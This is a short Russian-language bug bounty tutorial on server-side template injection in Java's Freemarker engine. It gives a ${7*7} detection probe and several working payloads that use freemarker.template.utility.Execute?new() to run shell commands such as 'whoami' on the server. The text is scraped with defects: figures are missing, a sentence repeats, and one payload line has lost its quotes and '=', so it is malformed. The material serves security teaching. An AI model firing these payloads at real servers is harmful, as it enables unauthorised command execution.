Bug Bounty, Bug Hunting, Java - Freemarker, Server Side Template Injection (SSTI)

#45 Bug Bounty v.2 — Server Side Template Injection (SSTI). Java — Freemarker

Здравствуйте, дорогие друзья.

Freemarker — самый популярный шаблонизатор для Java, поэтому рекомендуется научиться его использовать. Пример уязвимого кода приведен на рисунке ниже:

Пример уязвимого кода

Как вы можете видеть выше, эта уязвимость связана с объединением введенных пользователем данных с шаблоном, как и в любом другом механизме разработки шаблонов. Для проверки на уязвимость SSTI используйте следующую полезную нагрузку:

● ${7*7}

● ${7*7}

Как и в случае с другими шаблонизаторами, чтобы воспользоваться этой уязвимостью, мы собираемся использовать объект для выполнения команд оболочки. Команда new() может использоваться для создания экземпляров классов, поэтому все, что нам нужно, — это класс, который может выполнять команды оболочки.

Команда new() может использоваться для создания экземпляров классов, поэтому все, что нам нужно, - это класс, который может выполнять команды оболочки.

Как показано выше, класс Execute может использоваться для выполнения команд оболочки. В документации даже упоминается, что этот класс можно использовать для запуска произвольного кода на вашем сервере. Чтобы использовать этот класс, мы можем запустить следующую команду:

● <#assign ex = «freemarker.template.utility.Execute»?new()>${ ex(«whoami»)}

● [#assign ex = ‘freemarker.template.utility.Execute’?new()]${ ex(‘whoami’)}

[#assign ex freemarker.template.utility.Execute ?new()]${ ex(whoami )}

● ${«freemarker.template.utility.Execute»?new()(«whoami»)}

была запущена команда “whoami”, и результат был отображен в браузере

На этом все. Всем хорошего дня!

Цикл статей по Bug Bounty.